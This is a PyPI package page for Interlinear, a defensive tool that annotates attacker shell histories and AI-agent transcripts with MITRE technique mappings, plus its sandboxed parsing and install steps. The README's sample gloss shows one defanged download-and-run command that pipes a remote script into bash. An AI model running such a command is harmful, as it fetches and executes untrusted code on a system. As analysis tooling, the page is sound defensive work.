Skip to main content

Interlinear

Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:

Source Meaning
rule Matched the deterministic rule library
model Claude's analysis, through the gloss skill
analyst A person's edit, through interlinear annotate
none A context line the rule library recognized, such as cd or ls, or tool output, which is never glossed
pending Not glossed yet

A model or analyst gloss with no techniques marks a context line, and keeps its source. docs/evaluation.md says how far to trust each source and how that was tested, and docs/design.md explains how Interlinear is built.

What the CONTEXT label means

The rule library labels a line as context (none) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as cd /tmp, ls -la or echo done. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns PATH or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.

  12  curl -s hxxp://203.0.113[.]5/x.sh | bash
      T1105 Ingress Tool Transfer · T1059.004 Unix Shell   [rule: download-pipe-shell]
      Downloads a script and pipes it straight into a shell, so it runs without being saved.

Safety model

  • Only interlinear parse reads raw attacker files.
    • It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
    • Run it inside a sandbox: interlinear build-parse-pyz packages it as a single file for that.
  • Every later stage reads only the resulting transcript.json.
  • Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
  • The skill's glosses are untrusted too. interlinear apply-glosses validates, defangs and bounds them, labels them model, and only fills pending lines. Analyst glosses go through interlinear annotate, which the skill never runs.

Install

With pipx, the second command also puts Countermap's own command on your PATH:

pipx install "interlinear-cti[countermap]"
pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"

With uv:

uv tool install "interlinear-cti[countermap]" --with-executables-from countermap

With pip, inside a virtual environment:

pip install "interlinear-cti[countermap]"

Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.

countermap build

Use

# 1. Parse, in a sandbox
interlinear build-parse-pyz -o interlinear-parse.pyz
mkdir -p out   # create it first, so the container user can write to it
docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
  --memory 3g --user "$(id -u):$(id -g)" \
  -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
  -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
  python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE

# 2. Gloss with the rule library, then the remaining lines with Claude Code
interlinear gloss out/transcript.json
#    then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
#    or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
#    followed by: /plugin install interlinear@interlinear
#    and run: /interlinear:gloss out/transcript.json
#    Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
interlinear annotate out/transcript.json my-glosses.json --by "Your Name"

# 3. Outputs
interlinear render out/transcript.json                      # out/transcript.md
interlinear export-scenario out/transcript.json -o scenario.json
#    then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model

Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.

Input kinds

A file's name or content decides how it is read, for example .bash_history, .zsh_history, ConsoleHost_history.txt, .sh, .ps1 and agent .jsonl. A file that matches none of them is kept line by line as unknown.

An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, ;, &&, || and & that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a part entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.

The gloss skill

The skill runs on Haiku by default (model: haiku in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with interlinear annotate. The skill pre-approves only interlinear pending and apply-glosses. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. render itself writes only .md files, never an agent instruction file such as CLAUDE.md, and never replaces a file it did not write.

Exit codes

Code Meaning
0 Success
1 Success with warnings
2 Invalid input
3 Internal or write error

A chain with && stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.

License

Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.

Metadata

Release files for interlinear-cti 0.1.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for interlinear-cti 0.1.0
File Size Uploaded Provenance Actions
interlinear_cti-0.1.0.tar.gz 283.6 kB Without provenance Details for interlinear_cti-0.1.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for interlinear-cti 0.1.0
File Interpreter ABI Platform Actions
interlinear_cti-0.1.0-py3-none-any.whl Python 3 none any Details for interlinear_cti-0.1.0-py3-none-any.whl

Total release size: 440.9 kB

Release files / interlinear_cti-0.1.0.tar.gz

Download URL interlinear_cti-0.1.0.tar.gz
Size 283.6 kB
Tags Source
SHA-256 checksum
How to use checksums
f1bbdb016db78ad5f3d46e21268ce0e1cdcb42f4e916605afa50bb478e659abe
BLAKE2b-256 checksum
How to use checksums
e0735d7d312796e3db165da5396c86ae5cc6c52b01c72f7ec54fe5c907b70222
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.3

Release files / interlinear_cti-0.1.0-py3-none-any.whl

Download URL interlinear_cti-0.1.0-py3-none-any.whl
Size 157.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
893c2fcf78fb2cee8e9ab4dcdf4023b79a32b6d24b9fda90387f80a888cace3e
BLAKE2b-256 checksum
How to use checksums
d0da3142512573e8ff848d4fd34e9d813ab49364c7080e082dafcae7df3d2cf6
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.3

Security for interlinear-cti 0.1.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page